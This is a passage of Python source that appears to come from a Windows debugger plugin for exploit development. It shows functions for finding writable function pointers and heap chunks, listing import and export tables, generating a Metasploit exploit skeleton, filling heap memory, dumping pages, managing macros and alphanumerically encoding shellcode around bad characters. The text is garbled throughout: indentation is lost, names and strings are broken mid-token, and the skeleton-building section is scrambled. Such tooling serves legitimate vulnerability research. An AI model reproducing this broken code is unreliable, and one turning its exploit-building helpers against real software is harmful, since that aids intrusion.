if "WRITE" in access:
if meetsCriteria(addyval,criteria):
savetolog = False
sizeinfo = ""

if chunksize == 0:
savetolog = True
else:
# check if this location could acts as a heap chunk for a certain size
# the size field would be placed at the curren location - 8 bytes
# and is 2 bytes large
sizeval = 0
if not dofreelist:
sizeval = struct.unpack('<H',dbg.readMemory(addyval-8,2))[0]
if sizeval >= chunksize:
savetolog = True
nr_sizematch += 1
sizeinfo = " Chunksize: %d (0x%02x) - " % ((sizeval*8),(sizeval*8))
else:
sizeval = struct.unpack('<H',dbg.readMemory(addyval-8-offset,2))[0]
#
flink = struct.unpack('<L',dbg.readMemory(addyval-offset,4))[0]
blink = struct.unpack('<L',dbg.readMemory(addyval+4-offset,4))[0]
aflink = getPointerAccess(flink)
ablink = getPointerAccess(blink)
if "READ" in aflink and "READ" in ablink:
extr = ""
if sizeval == chunksize or sizeval == chunksize + 1:
extr = " **size match**"
nr_sizematch += 1
sizeinfo = " Chunksize: %d (0x%02x)%s, UserPtr 0x%08x, Flink 0x%08x, Blink 0x%08
x - " % ((sizeval*8),(sizeval*8),extr,addyval-offset,flink,blink)
savetolog = True
if savetolog:
fwptrs[loc] = addyval
tmodcnt += 1

ptrx = MnPointer(addyval)
mod = ptrx.belongsTo()
tofile = "0x%08x : 0x%08x gets called from %s at 0x%08x (%s) - %s%s" % (addyval,
addyval,mod,loc,instrtext,sizeinfo,ptrx.__str__())
objwptr.write(tofile,wptrfile)
if setbps:
dbg.setBreakpoint(loc)
if dopatch:
dbg.writeLong(addyval,0x41414141)
if len(instrbytes) > 0:
loc = loc + len(
instrbytes)/2
else:
loc = loc + 1
except:
loc = loc + 1
if not silent:
dbg.log("
Found %d pointers
" % tmodcnt)
if chunksize > 0:
dbg.log("

%d pointe

rs with size match" % nr_sizematch)


return
def procGetxAT(args,mode):
keywords = []
keywordstring = ""
modulecriteria = {}
criteria = {}
thisxat = {}
entriesfound = 0
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
keywordstring = args["s"].replace("'",""
).replace('"','')
keywords = keywordstring.split(",")
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
modulestosearch = getModulesToQuery(modulecriteria)
if not silent:
dbg.log("[+] Querying %d modules" % len(modulest
osearch))
if len(modulestosearch) > 0:

xatfilename="%ssearch.txt" % mode
objxatfilename = MnLog(xatfilename)
xatfile = objxatfilename.reset()
for thismodule in modulestosearch:
thismod = MnModule(thismodule)
if mode == "iat":
thisxat = thismod.getIAT()
else:
thisxat = thismod.getEAT()
thismodule = thismod.getShortName()
for thisfunc in thisxat:
thisfuncname = thisxat[thisfunc]
.lower()
origfuncname = thisfuncname
firstindex = thisfuncname.find("
.")
if firstindex > 0:
thisfuncname = thisfuncn
ame[firstindex+1:len(thisfuncname)]
addtolist = False
iatptr_modname = ""
theptr = 0
if mode == "iat":
theptr = struct.unpack('
<L',dbg.readMemory(thisfunc,4))[0]
ptrx = MnPointer(theptr)
iatptr_modname = ptrx.be
longsTo()
if not iatptr_modname ==
"" and "." in iatptr_modname:
iatptr_modparts
= iatptr_modname.split(".")
iatptr_modname =
iatptr_modparts[0]
if not "." in origfuncna
me and iatptr_modname != "" and not "!" in origfuncname:
origfuncname = i
atptr_modname.lower() + "." + origfuncname
thisfuncname = o
rigfuncname
if "!" in origfuncname:
oparts = origfun
cname.split("!")
origfuncname = i
atptr_modname + "." + oparts[1]
thisfuncname = o
rigfuncname
if len(keywords) > 0:
for keyword in keywords:
keyword = keywor
d.lower().strip()
if ((keyword.sta
rtswith("*") and keyword.endswith("*")) or keyword.find("*") < 0):
keyword
= keyword.replace("*","")

if thisf
uncname.find(keyword) > -1:
addtolist = True
break
if keyword.start
swith("*") and not keyword.endswith("*"):
keyword
= keyword.replace("*","")
if thisf
uncname.endswith(keyword):
addtolist = True
break
if keyword.endsw
ith("*") and not keyword.startswith("*"):
keyword
= keyword.replace("*","")
if thisf
uncname.startswith(keyword):
addtolist = True
break
else:
addtolist = True
if addtolist:
entriesfound += 1
if mode == "iat":
thedelta = thisf
unc - thismod.moduleBase
logentry = "At 0
x%s in %s (base + 0x%s) : 0x%s (ptr to %s)" % (toHex(thisfunc),thismodule.lower(
),toHex(thedelta),toHex(theptr),origfuncname)
else:
thedelta = thisf
unc - thismod.moduleBase
logentry = "0x%0
8x : %s!%s (0x%08x+0x%08x)" % (thisfunc,thismodule.lower(),origfuncname,thismod.
moduleBase,thedelta)
dbg.log(logentry,address
= thisfunc)
objxatfilename.write(log
entry,xatfile)
if not silent:
dbg.log("")
dbg.log("%d entries found" % entriesfoun
d)
return
#-----Metasploit module skeleton-----#
def procSkeleton(args):
cyclicsize = 5000
if "c" in args:
if type(args["c"]).__name__.lower() != "bool":
try:

cyclicsize = int(args["c"])
except:
cyclicsize = 5000
exploittype = ""
skeletonarg = ""
usecliargs = False
validstypes ={}
validstypes["tcpclient"] = "network client (tcp)"
validstypes["udpclient"] = "network client (udp)"
validstypes["fileformat"] = "fileformat"
exploittypes = [ "fileformat","network client (tcp)","ne
twork client (udp)" ]
errorfound = False
if __DEBUGGERAPP__ == "WinDBG" or "t" in args:
if "t" in args:
if type(args["t"]).__name__.lower() != "
bool":
skeltype = args["t"].lower()
skelparts = skeltype.split(":")
if skelparts[0] in validstypes:
exploittype = validstype
s[skelparts[0]]
if len(skelparts) > 1:
skeletonarg = sk
elparts[1]
else:
errorfound = Tru
e
usecliargs = True
else:
errorfound = True
else:
errorfound = True
else:
errorfound = True
# ask for type of module
else:
dbg.log(" ** Please select a skeleton exploit ty
pe from the dropdown list **",highlight=1)
exploittype = dbg.comboBox("Select msf exploit s
keleton to build :", exploittypes).lower().strip()
if errorfound:
dbg.log(" ** Please specify a valid skeleton typ
e and argument **",highlight=1)
dbg.log("
Valid types are : tcpclient:argumen
t, udpclient:argument, fileformat:argument")
dbg.log("
Example : skeleton for a pdf file f
ormat exploit: -t fileformat:pdf")
dbg.log("
skeleton for tcp client a
gainst port 123: -t tcpclient:123")
return
if not exploittype in exploittypes:
dbg.log("Boo - invalid exploit type, try again !
",highlight=1)
return
portnr = 0
extension = ""

if exploittype.find("network") > -1:


if usecliargs:
portnr = skeletonarg
else:
portnr = dbg.inputBox("Remote port numbe
r : ")
try:
portnr = int(portnr)
except:
portnr = 0
if exploittype.find("fileformat") > -1:
if usecliargs:
extension = skeletonarg
else:
extension = dbg.inputBox("File extension
:")
extension = extension.replace("'","").replace('"',"").re
place("\n","").replace("\r","")
if not extension.startswith("."):
extension = "." + extension
exploitfilename="msfskeleton.rb"
objexploitfile = MnLog(exploitfilename)
global ignoremodules
global noheader
noheader = True
ignoremodules = True
exploitfile = objexploitfile.reset()
ignoremodules = False
noheader = False
modulecriteria = {}
criteria = {}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
badchars = ""
if "badchars" in criteria:
badchars = criteria["badchars"]
if "nonull" in criteria:
if not '\x00' in badchars:
badchars += '\x00'
skeletonheader,skeletoninit,skeletoninit2 = getSkeletonH
eader(exploittype,portnr,extension,"",badchars)
targetstr = "
targetstr += "
targetstr += "

'Targets'
=>\n"
[\n"
[ '<fill in the OS/app version h

ere>',\n"
targetstr
targetstr
targetstr
targetstr
targetstr

+=
+=
+=
+=
+=

"
"
"
"
"

{\n"
'Ret'
=> 0x00000000,\n"
'Offset' => 0\n"
}\n"
],\n"

targetstr += "

],\n"

exploitstr = " def exploit\n\n"


if exploittype.find("network") > -1:
if exploittype.find("tcp") >
exploitstr += "\n
elif exploittype.find("udp")
exploitstr += "\n
exploitstr += "

-1:
connect\n\n"
> -1:
connect_udp\n\n"

buffer = Rex::Text.pattern_create(" +

str(cyclicsize) + ")\n"
if exploittype.find("network") > -1:
exploitstr += "\n
print_status(\"Trying targe
t #{target.name}...\")\n"
if exploittype.find("tcp") > -1:
exploitstr += "
sock.put(buffer)\n"
exploitstr += "\n
handler\n"
elif exploittype.find("udp") > -1:
exploitstr += "
udp_sock.put(buffer)\
n"
exploitstr += "\n
handler(udp_sock)\n
"
if exploittype == "fileformat":
exploitstr += "\n
file_create(buffer)\n\n"
if exploittype.find("network") > -1:
exploitstr += "
disconnect\n\n"
exploitstr += " end\n"
objexploitfile.write(skeletonheader+"\n",exploitfile)
objexploitfile.write(skeletoninit+"\n",exploitfile)
objexploitfile.write(targetstr,exploitfile)
objexploitfile.write(skeletoninit2,exploitfile)
objexploitfile.write(exploitstr,exploitfile)
objexploitfile.write("end",exploitfile)
return
def procFillChunk(args):
reference = ""
fillchar = "A"
allregs = dbg.getRegs()
origreference = ""
deref = False
refreg = ""
offset = 0
signstuff = 1
customsize = 0
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
sizearg = args["s"]
if sizearg.lower().startswith("0x"):
sizearg = sizearg.lower().replac
e("0x","")

customsize = int(sizearg,16)
else:
customsize = int(sizearg)
if "r" in args:
if type(args["r"]).__name__.lower() != "bool":
# break into pieces
reference = args["r"].upper()
origreference = reference
if reference.find("[") > -1 and referenc
e.find("]") > -1:
refregtmp = reference.replace("[
","").replace("]","").replace(" ","")
if reference.find("+") > -1 or r
eference.find("-") > -1:
# deref with offset
refregtmpparts = []
if reference.find("+") >
-1:
refregtmpparts =
refregtmp.split("+")
signstuff = 1
if reference.find("-") >
-1:
refregtmpparts =
refregtmp.split("-")
signstuff = -1
if len(refregtmpparts) >
1:
offset = int(ref
regtmpparts[1].replace("0X",""),16) * signstuff
deref = True
refreg = refregt
mpparts[0]
if not refreg in
allregs:
dbg.log(
"** Please provide a valid reference using -r reg/reference **")
return
else:
dbg.log("** Plea
se provide a valid reference using -r reg/reference **")
return
else:
# only deref
refreg = refregtmp
deref = True
else:
# no deref, maybe offset
if reference.find("+") > -1 or r
eference.find("-") > -1:
# deref with offset
refregtmpparts = []
refregtmp = reference.re
place(" ","")
if reference.find("+") >
-1:
refregtmpparts =
refregtmp.split("+")

signstuff = 1
if reference.find("-") >
-1:
refregtmpparts =
refregtmp.split("-")
signstuff = -1
if len(refregtmpparts) >
1:
offset = int(ref
regtmpparts[1].replace("0X",""),16) * signstuff
refreg = refregt
mpparts[0]
if not refreg in
allregs:
dbg.log(
"** Please provide a valid reference using -r reg/reference **")
return
else:
dbg.log("** Plea
se provide a valid reference using -r reg/reference **")
return
else:
# only deref
refregtmp = reference.re
place(" ","")
refreg = refregtmp
deref = False
else:
dbg.log("** Please provide a valid refer
ence using -r reg/reference **")
return
else:
dbg.log("** Please provide a valid reference usi
ng -r reg/reference **")
return
if not refreg in allregs:
dbg.log("** Please provide a valid reference usi
ng -r reg/reference **")
return
dbg.log("Ref : %s" % refreg)
dbg.log("Offset : %d (0x%s)" % (offset,toHex(int(str(off
set).replace("-","")))))
dbg.log("Deref ? : %s" % deref)
if "b" in args:
if type(args["b"]).__name__.lower() != "bool":
if args["b"].find("\\x") > -1:
fillchar = hex2bin(args["b"])[0]
else:
fillchar = args["b"][0]
# see if we can read the reference
refvalue = 0
if deref:
refref = 0
try:
refref = allregs[refreg]+offset
except:

dbg.log("** Unable to read from %s (0x%0


8x)" % (origreference,allregs[refreg]+offset))
try:
refvalue = struct.unpack('<L',dbg.readMe
mory(refref,4))[0]
except:
dbg.log("** Unable to read from %s (0x%0
8x) -> 0x%08x" % (origreference,allregs[reference]+offset,refref))
return
else:
try:
refvalue = allregs[refreg]+offset
except:
dbg.log("** Unable to read from %s (0x%0
8x)" % (reference,allregs[refreg]+offset))
dbg.log("Reference : %s: 0x%08x" % (origreference,refval
ue))
dbg.log("Fill char : \\x%s" % bin2hex(fillchar))
cmd2run = "!heap -p -a 0x%08x" % refvalue
output = dbg.nativeCommand(cmd2run)
outputlines = output.split("\n")
heapinfo = ""
for line in outputlines:
if line.find("[") > -1 and line.find("]") > -1 a
nd line.find("(") > -1 and line.find(")") > -1:
heapinfo = line
break
if heapinfo == "":
dbg.log("Address is not part of a heap chunk")
if customsize > 0:
dbg.log("Filling memory location startin
g at 0x%08x with \\x%s" % (refvalue,bin2hex(fillchar)))
dbg.log("Number of bytes to write : %d (
0x%08x)" % (customsize,customsize))
data = fillchar * customsize
dbg.writeMemory(refvalue,data)
dbg.log("Done")
else:
dbg.log("Please specify a custom size wi
th -s to fill up the memory location anyway")
else:
infofields = []
cnt = 0
charseen = False
thisfield = ""
while cnt < len(heapinfo):
if heapinfo[cnt] == " " and charseen and
thisfield != "":
infofields.append(thisfield)
thisfield = ""
else:
if not heapinfo[cnt] == " ":
thisfield += heapinfo[cn
t]
charseen = True
cnt += 1
if thisfield != "":
infofields.append(thisfield)

if len(infofields) > 7:
chunkptr = hexStrToInt(infofields[0])
userptr = hexStrToInt(infofields[4])
size = hexStrToInt(infofields[5])
dbg.log("Heap chunk found at 0x%08x, siz
e 0x%08x (%d) bytes" % (chunkptr,size,size))
dbg.log("Filling chunk with \\x%s, start
ing at 0x%08x" % (bin2hex(fillchar),userptr))
data = fillchar * size
dbg.writeMemory(userptr,data)
dbg.log("Done")
return
def procInfoDump(args):
allpages = dbg.getMemoryPages()
filename = "infodump.xml"
xmldata = '<info>\n'
xmldata += "<modules>\n"
if len(g_modules) == 0:
populateModuleInfo()
modulestoquery=[]
for thismodule,modproperties in g_modules.iteritems():
xmldata += " <module name='%s'>\n" % thismodule
thisbase = getModuleProperty(thismodule,"base")
thissize = getModuleProperty(thismodule,"size")
xmldata += "
<base>0x%08x</base>\n" % thisbas
e
xmldata += "

<size>0x%08x</size>\n" % thissiz

e
xmldata += " </module>\n"
xmldata += "</modules>\n"
orderedpages = []
for tpage in allpages.keys():
orderedpages.append(tpage)
orderedpages.sort()
if len(orderedpages) > 0:
xmldata += "<pages>\n"
# first dump module info to file
objfile = MnLog(filename)
infofile = objfile.reset(clear=True,showheader=F
alse)
f = open(infofile,"wb")
for line in xmldata.split("\n"):
if line != "":
f.write(line + "\n")
tolog = "Dumping the following pages to file:"
dbg.log(tolog)
tolog = "Start
End
Size
AC
L"
dbg.log(tolog)
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress()
pagesize = page.getSize()
ptr = MnPointer(pagestart)
mod = ""
sectionname = ""
ismod = False
isstack = False
isheap = False

try:
mod = ptr.belongsTo()
if mod != "":
ismod = True
except:
mod = ""
if not ismod:
if ptr.isOnStack():
isstack = True
if not ismod and not isstack:
if ptr.isInHeap():
isheap = True
if not ismod and not isstack and not ish
eap:
acl = page.getAccess(human=True)
if not "NOACCESS" in acl:
tolog = "0x%08x - 0x%08x
(0x%08x) %s" % (pagestart,pagestart + pagesize,pagesize,acl)
dbg.log(tolog)
# add page contents to x
ml
thispage = dbg.readMemor
y(pagestart,pagesize)
f.write(" <page start=\
"0x%08x\">\n" % pagestart)
f.write("
<size>0x%08
x</size>\n" % pagesize)
f.write("
<acl>%s</ac
l>\n" % acl)
f.write("
<contents>"
)
memcontents = ""
for thisbyte in thispage
:
memcontents += b
in2hex(thisbyte)
f.write(memcontents)
f.write("</contents>\n")
f.write(" </page>\n")
f.write("</pages>\n")
f.write("</info>")
dbg.log("")
f.close()
dbg.log("Done")
return
def procPEB(args):
"""
Show the address of the PEB
"""
pebaddy = dbg.getPEBAddress()
dbg.log("PEB is located at 0x%08x" % pebaddy,address=peb
addy)
return
def procTEB(args):
"""
Show the address of the TEB for the current thread
"""

tebaddy = dbg.getCurrentTEBAddress()
dbg.log("TEB is located at 0x%08x" % tebaddy,address=teb
addy)
return
def procPageACL(args):
global silent
silent = True
findaddy = 0
if "a" in args:
findaddy,addyok = getAddyArg(args["a"])
if not addyok:
dbg.log("%s is an invalid address" % arg
s["a"], highlight=1)
return
if findaddy > 0:
dbg.log("Displaying page information around addr
ess 0x%08x" % findaddy)
allpages = dbg.getMemoryPages()
dbg.log("Total of %d pages : "% len(allpages))
filename="pageacl.txt"
orderedpages = []
for tpage in allpages.keys():
orderedpages.append(tpage)
orderedpages.sort()
# find indexes to show in case we have specified an addr
ess
toshow = []
previouspage = 0
nextpage = 0
pagefound = False
if findaddy > 0:
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress()
pagesize = page.getSize()
pageend = pagestart + pagesize
if findaddy >= pagestart and findaddy <
pageend:
toshow.append(thispage)
pagefound = True
if pagefound and previouspage > 0:
if not previouspage in toshow:
toshow.append(previouspa
ge)
if not thispage in toshow:
toshow.append(thispage)
# nextpage
break
previouspage = thispage
if len(toshow) > 0:
toshow.sort()
orderedpages = toshow
dbg.log("Showing %d pages" % len(orderedpages))
if len(orderedpages) > 0:
objfile = MnLog(filename)
aclfile = objfile.reset()
tolog = "Start
End
Size
AC
L"
dbg.log(tolog)

objfile.write(tolog,aclfile)
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress()
pagesize = page.getSize()
ptr = MnPointer(pagestart)
mod = ""
sectionname = ""
try:
mod = ptr.belongsTo()
if not mod == "":
sectionname = page.getSe
ction()
except:
mod = ""
if not mod == "":
mod = "(" + mod + ")"
else:
if ptr.isOnStack():
mod = "(Stack)"
elif ptr.isInHeap():
mod = "(Heap)"
acl = page.getAccess(human=True)
tolog = "0x%08x - 0x%08x (0x%08x) %s %s
%s" % (pagestart,pagestart + pagesize,pagesize,acl,mod, sectionname)
objfile.write(tolog,aclfile)
dbg.log(tolog)
silent = False
return
def procMacro(args):
validcommands = ["run","set","list","del","add","show"]
validcommandfound = False
selectedcommand = ""
for command in validcommands:
if command in args:
validcommandfound = True
selectedcommand = command
break
dbg.log("")
if not validcommandfound:
dbg.log("*** Please specify a valid command. Val
id commands are :")
for command in validcommands:
dbg.log("
-%s" % command)
return
macroname = ""
if "set" in args:
if type(args["set"]).__name__.lower() != "bool":
macroname = args["set"]
if "show" in args:
if type(args["show"]).__name__.lower() != "bool"
:
macroname = args["show"]
if "add" in args:
if type(args["add"]).__name__.lower() != "bool":
macroname = args["add"]

if "del" in args:
if type(args["del"]).__name__.lower() != "bool":
macroname = args["del"]
if "run" in args:
if type(args["run"]).__name__.lower() != "bool":
macroname = args["run"]
filename = ""
index = -1
insert = False
iamsure = False
if "index" in args:
if type(args["index"]).__name__.lower() != "bool
":
index = int(args["index"])
if index < 0:
dbg.log("** Please use a positiv
e integer as index",highlight=1)
if "file" in args:
if type(args["file"]).__name__.lower() != "bool"
:
filename = args["file"]
if filename != "" and index > -1:
dbg.log("** Please either provide an index or a
filename, not both",highlight=1)
return
if "insert" in args:
insert = True
if "iamsure" in args:
iamsure = True
argcommand = ""
if "cmd" in args:
if type(args["cmd"]).__name__.lower() != "bool":
argcommand = args["cmd"]
dbg.setKBDB("monamacro.db")
macros = dbg.getKnowledge("macro")
if macros is None:
macros = {}
if selectedcommand == "list":
for macro in macros:
thismacro = macros[macro]
macronametxt = "Macro : '%s' : %d comman
d(s)" % (macro,len(thismacro))
dbg.log(macronametxt)
dbg.log("")
dbg.log("Number of macros : %d" % len(macros))
if selectedcommand == "show":
if macroname != "":
if not macroname in macros:

dbg.log("** Macro %s does not ex


ist !" % macroname)
return
else:
macro = macros[macroname]
macronametxt = "Macro : %s" % ma
croname
macroline = "-" * len(macronamet
xt)
dbg.log(macronametxt)
dbg.log(macroline)
thismacro = macro
macrolist = []
for macroid in thismacro:
macrolist.append(macroid
)
macrolist.sort()
nr_of_commands = 0
for macroid in macrolist:
macrocmd = thismacro[mac
roid]
if macrocmd.startswith("
#"):
dbg.log("

[%04

dbg.log("

[%04

d] File:%s" % (macroid,macrocmd[1:]))
else:
d] %s" % (macroid,macrocmd))
nr_of_commands += 1
dbg.log("")
dbg.log("Nr of commands in this
macro : %d" % nr_of_commands)
else:
dbg.log("** Please specify the macroname
to show !",highlight=1)
return
if selectedcommand == "run":
if macroname != "":
if not macroname in macros:
dbg.log("** Macro %s does not ex
ist !" % macroname)
return
else:
macro = macros[macroname]
macronametxt = "Running macro :
%s" % macroname
macroline = "-" * len(macronamet
xt)
dbg.log(macronametxt)
dbg.log(macroline)
thismacro = macro
macrolist = []
for macroid in thismacro:
macrolist.append(macroid
)
macrolist.sort()
for macroid in macrolist:
macrocmd = thismacro[mac
roid]

if macrocmd.startswith("
#"):
dbg.log("Executi
ng script %s" % macrocmd[1:])
output = dbg.nat
iveCommand("$<%s" % macrocmd[1:])
dbg.logLines(out
put)
dbg.log("-" * 40
)
else:
dbg.log("Index %
d : %s" % (macroid,macrocmd))
dbg.log("")
output = dbg.nat
iveCommand(macrocmd)
dbg.logLines(out
put)
dbg.log("-" * 40
)
dbg.log("")
dbg.log("[+] Done.")
else:
dbg.log("** Please specify the macroname
to run !",highlight=1)
return
if selectedcommand == "set":
if macroname != "":
if not macroname in macros:
dbg.log("** Macro %s does not ex
ist !" % macroname)
return
if argcommand == "" and filename == "":
dbg.log("** Please enter a valid
command with parameter -cmd",highlight=1)
return
thismacro = macros[macroname]
if index == -1:
for i in thismacro:
thiscmd = thismacro[i]
if thiscmd.startswith("#
"):
dbg.log("** You
cannot edit a macro that uses a scriptfile.",highlight=1)
dbg.log(" Edit
file %s instead" % thiscmd[1:],highlight=1)
return
if filename == "":
# append to end of the l
ist
# find the next index fi
rst
nextindex = 0
for macindex in thismacr
o:
if macindex >= n
extindex:
nextinde
x = macindex+1

if thismacro.__class__._
_name__ == "dict":
thismacro[nextin
dex] = argcommand
else:
thismacro = {}
thismacro[nextin
dex] = argcommand
else:
thismacro = {}
nextindex = 0
thismacro[0] = "#%s" % f
ilename
macros[macroname] = thismacro
dbg.addKnowledge("macro",macros)
dbg.log("[+] Done, saved new com
mand at index %d." % nextindex)
else:
# user has specified an index
if index in thismacro:
if argcommand == "#":
# remove command
at this index
del thismacro[in
dex]
else:
# if macro alrea
dy contains a file entry, bail out
for i in thismac
ro:
thiscmd
= thismacro[i]
if thisc
md.startswith("#"):
dbg.log("** You cannot edit a macro that uses a scriptfile.",highlight=1)
dbg.log("

Edit file %s instead" % thiscmd[1:],highlight=1)

return
# index exists overwrite unless -insert was provided too
# remove or inse
rt ?
#print sys.argv
if not insert:
thismacr
o[index] = argcommand
else:
# move t
hings around
# get or
dered list of existing indexes
indexes
= []
for maci
ndex in thismacro:
indexes.append(macindex)
indexes.

sort()
thismacr
o2 = {}
cmdadded
= False
for i in
indexes:
if i < index:
thismacro2[i] = thismacro[i]
elif i == index:
thismacro2[i] = argcommand
thismacro2[i+1] = thismacro[i]
elif i > index:
thismacro2[i+1] = thismacro[i]
thismacr
o = thismacro2
else:
# index does not exist,
add new command to this index
for i in thismacro:
thiscmd = thisma
cro[i]
if thiscmd.start
swith("#"):
dbg.log(
"** You cannot edit a macro that uses a scriptfile.",highlight=1)
dbg.log(
"

Edit file %s instead" % thiscmd[1:],highlight=1)


return
if argcommand != "#":
thismacro[index]
= argcommand
else:

dbg.log("** Inde
x %d does not exist, unable to remove the command at that position" % index,high
light=1)
macros[macroname] = thismacro
dbg.addKnowledge("macro",macros)
if argcommand != "#":
dbg.log("[+] Done, saved
new command at index %d." % index)
else:
dbg.log("[+] Done, remov
ed command at index %d." % index)
else:
dbg.log("** Please specify the macroname
to edit !",highlight=1)
return
if selectedcommand == "add":
if macroname != "":
if macroname in macros:
dbg.log("** Macro '%s' already e

xists !" % macroname,highlight=1)


return
else:
macros[macroname] = {}
dbg.log("[+] Adding macro '%s'"
% macroname)
dbg.addKnowledge("macro",macros)
dbg.log("[+] Done.")
else:
dbg.log("** Please specify the macroname
to add !",highlight=1)
return
if selectedcommand == "del":
if not macroname in macros:
dbg.log("** Macro '%s' doesn't exist !"
% macroname,highlight=1)
else:
if not iamsure:
dbg.log("** To delete macro '%s'
, please add the -iamsure flag to the command" % macroname)
return
else:
dbg.forgetKnowledge("macro",macr
oname)
dbg.log("[+] Done, deleted macro
'%s'" % macroname)
return
def procEnc(args):
validencoders = ['alphanum']
encodertyperror = True
byteerror = True
encodertype = ""
bytestoencodestr = ""
bytestoencode = ""
badbytes = ""
if "t" in args:
if type(args["t"]).__name__.lower() != "bool":
encodertype = args["t"]
encodertyperror = False
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
bytestoencodestr = args["s"]
byteerror = False
if "f" in args:
if type(args["f"]).__name__.lower() != "bool":
binfile = args["f"]
if os.path.exists(binfile):
if not silent:
dbg.log("[+] Reading byt
es from %s" % binfile)
try:
f = open(binfile,"rb")
content = f.readlines()

f.close()
for c in content:
for a in c:
bytestoe
ncodestr += "\\x%02x" % ord(a)
byteerror = False
except:
dbg.log("*** Error - una
ble to read bytes from %s" % binfile)
dbg.logLines(traceback.f
ormat_exc(),highlight=True)
byteerror = True
else:
byteerror = True
else:
byteerror = True
if "cpb" in args:
if type(args["cpb"]).__name__.lower() != "bool":
badbytes = hex2bin(args["cpb"])
if not encodertype in validencoders:
encodertyperror = True
if bytestoencodestr == "":
byteerror = True
else:
bytestoencode = hex2bin(bytestoencodestr)
if encodertyperror:
dbg.log("*** Please specific a valid encodertype
with parameter -t.",highlight=True)
dbg.log("*** Valid types are: %s" % validencoder
s,highlight=True)
if byteerror:
dbg.log("*** Please specify a valid series of by
tes with parameter -s",highlight=True)
dbg.log("*** or specify a valid path with parame
ter -f",highlight=True)
if encodertyperror or byteerror:
return
else:
cEncoder = MnEncoder(bytestoencode)
encodedbytes = ""
if encodertype == "alphanum":
encodedbytes = cEncoder.encodeAlphaNum(b
adchars = badbytes)
# determine correct sequence of dictiona
ry
if len(encodedbytes) > 0:
logfile = MnLog("encoded_%s.txt"
% encodertype)
thislog = logfile.reset()
if not silent:
dbg.log("")
dbg.log("Results:")
dbg.log("--------")

logfile.write("",thislog)
logfile.write("Results:",thislog
)
logfile.write("--------",thislog
)
encodedindex = []
fulllist_str = ""
fulllist_bin = ""
for i in encodedbytes:
encodedindex.append(i)
for i in encodedindex:
thisline = encodedbytes[
i]
# 0 = bytes
# 1 = info
thislinebytes = "\\x" +
"\\x".join(bin2hex(a) for a in thisline[0])
logline = " %s : %s : %
s" % (thisline[0],thislinebytes,thisline[1])
if not silent:
dbg.log("%s" % l
ogline)
logfile.write(logline,th
islog)
fulllist_str += thisline
bytes
fulllist_bin += thisline
[0]
if not silent:
dbg.log("")
dbg.log("Full encoded st
ring:")
dbg.log("-------------------")
dbg.log("%s" % fulllist_
bin)
logfile.write("",thislog)
logfile.write("Full encoded stri
ng:",thislog)
logfile.write("-------------------",thislog)
logfile.write("%s" % fulllist_bi
n,thislog)
logfile.write("",thislog)
logfile.write("Full encoded hex:
",thislog)
logfile.write("----------------",thislog)
logfile.write("%s" % fulllist_st
r,thislog)
return
def procString(args):
mode = ""
useunicode = False
terminatestring = True
addy = 0
regs = dbg.getRegs()
stringtowrite = ""

# read or write ?
if not "r" in args and not "w" in args:
dbg.log("*** Error: you must indicate if you wan
t to read (-r) or write (-w) ***",highlight=True)
return
addresserror = False
if not "a" in args:
addresserror = True
else:
if type(args["a"]).__name__.lower() != "bool":
# check if it's a register or not
if str(args["a"]).upper() in regs:
addy = regs[str(args["a"].upper(
))]
else:
addy = int(args["a"],16)
else:
addresserror = True
if addresserror:
dbg.log("*** Error: you must specify a valid add
ress with -a ***",highlight=True)
return
if "w" in args:
mode = "write"
if "r" in args:
# read wins, because it's non destructive
mode = "read"
if "u" in args:
useunicode = True
stringerror = False
if "w" in args and not "s" in args:
stringerror = True
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
stringtowrite = args["s"]
else:
stringerror = True
if "noterminate" in args:
terminatestring = False
if stringerror:
dbg.log("*** Error: you must specify a valid str
ing with -s ***",highlight=True)
return
if mode == "read":
stringinmemory = ""
extra = " "
try:
if not useunicode:
stringinmemory = dbg.readString(
addy)
else:
stringinmemory = dbg.readWString
(addy)
extra = " (unicode) "

dbg.log("String%sat 0x%08x:" % (extra,ad


dy))
dbg.log("%s" % stringinmemory)
except:
dbg.log("Unable to read string at 0x%08x
" % addy)
if mode == "write":
origstring = stringtowrite
writtendata = ""
try:
if not useunicode:
if terminatestring:
stringtowrite += "\x00"
byteswritten = ""
for c in stringtowrite:
byteswritten += " %s" %
bin2hex(c)
dbg.writeMemory(addy,stringtowri
te)
writtendata = dbg.readString(add
y)
dbg.log("Wrote string (%d bytes)
to 0x%08x:" % (len(stringtowrite),addy))
dbg.log("%s" % byteswritten)
else:
newstring = ""
for c in stringtowrite:
newstring += "%s%s" % (c
,"\x00")
if terminatestring:
newstring += "\x00\x00"
dbg.writeMemory(addy,newstring)
dbg.log("Wrote unicode string (%
d bytes) to 0x%08x" % (len(newstring),addy))
writtendata = dbg.readWString(ad
dy)
byteswritten = ""
for c in newstring:
byteswritten += " %s" %
bin2hex(c)
dbg.log("%s" % byteswritten)
if not writtendata.startswith(origstring
):
dbg.log("Write operation succeed
ed, but the string in memory doesn't appear to be there",highlight=True)
except:
dbg.log("Unable to write the string to 0
x%08x" % addy)
dbg.logLines(traceback.format_exc(),high
light=True)
return
def procKb(args):
validcommands = ['set','list','del']
validcommandfound = False
selectedcommand = ""
selectedid = ""
selectedvalue = ""
for command in validcommands:
if command in args:

validcommandfound = True
selectedcommand = command
break
dbg.log("")
if not validcommandfound:
dbg.log("*** Please specify a valid command. Val
id commands are :")
for command in validcommands:
dbg.log("
-%s" % command)
return
if "id" in args:
if type(args["id"]).__name__.lower() != "bool":
selectedid = args["id"]
if "value" in args:
if type(args["value"]).__name__.lower() != "bool
":
selectedvalue = args["value"]
dbg.log("Knowledgebase database : %s" % dbg.getKBDB())
kb = dbg.listKnowledge()
if selectedcommand == "list":
dbg.log("Number of IDs in Knowledgebase : %d" %
len(kb))
if len(kb) > 0:
if selectedid == "":
dbg.log("IDs :")
dbg.log("-----")
for kbid in kb:
dbg.log(kbid)
else:
if selectedid in kb:
kbid = dbg.getKnowledge(
selectedid)
kbtype = kbid.__class__.
__name__
kbtitle = "Entries for I
D %s (type %s) :" % (selectedid,kbtype)
dbg.log(kbtitle)
